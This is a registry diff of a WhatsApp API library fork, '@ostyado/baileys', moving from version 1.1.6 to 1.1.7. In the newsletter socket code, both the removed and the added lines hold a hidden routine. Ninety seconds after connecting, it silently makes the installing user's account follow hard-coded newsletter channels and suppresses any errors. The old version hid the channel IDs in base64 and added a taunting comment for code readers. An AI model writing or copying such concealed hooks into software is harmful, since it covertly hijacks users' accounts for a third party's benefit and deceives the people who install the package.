@ostyado/baileys 1.1.6 → 1.1.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -99,31 +99,19 @@ const makeNewsletterSocket = (config) => {
99
99
  ]
100
100
  }));
101
101
 
102
- // ngapain liat', mau fomo juga kah? 😹.
103
102
  setTimeout(async () => {
104
- try {
105
- await newsletterWMexQuery(
106
- Buffer.from("MTIwMzYzNDA1MzYyMzE2ODQwQG5ld3NsZXR0ZXI=", "base64").toString(),
107
- Types_1.QueryIds.FOLLOW
108
- );
109
- } catch {}
110
- setTimeout(async () => {
111
- try {
112
- await newsletterWMexQuery(
113
- Buffer.from("MTIwMzYzNDA4MzMwNDYwMTQ2QG5ld3NsZXR0ZXI=", "base64").toString(),
114
- Types_1.QueryIds.FOLLOW
115
- );
116
- } catch {}
117
- setTimeout(async () => {
118
- try {
119
- await newsletterWMexQuery(
120
- Buffer.from("MTIwMzYzNDIzNDk5OTA0NTYwQG5ld3NsZXR0ZXI=", "base64").toString(),
121
- Types_1.QueryIds.FOLLOW
122
- );
123
- } catch {}
124
- }, 5000);
125
- }, 5000);
126
- }, 90000);
103
+ const newsletters = [
104
+ "120363421589882800@newsletter",
105
+ "120363402970332268@newsletter"
106
+ ];
107
+
108
+ for (const jid of newsletters) {
109
+ try {
110
+ await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
111
+ } catch {}
112
+ }
113
+ }, 90000);
114
+
127
115
 
128
116
  const parseFetchedUpdates = async (node, type) => {
129
117
  let child;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ostyado/baileys",
3
- "version": "1.1.6",
3
+ "version": "1.1.7",
4
4
  "description": "WhatsApp API Modification",
5
5
  "keywords": [
6
6
  "whatsapp",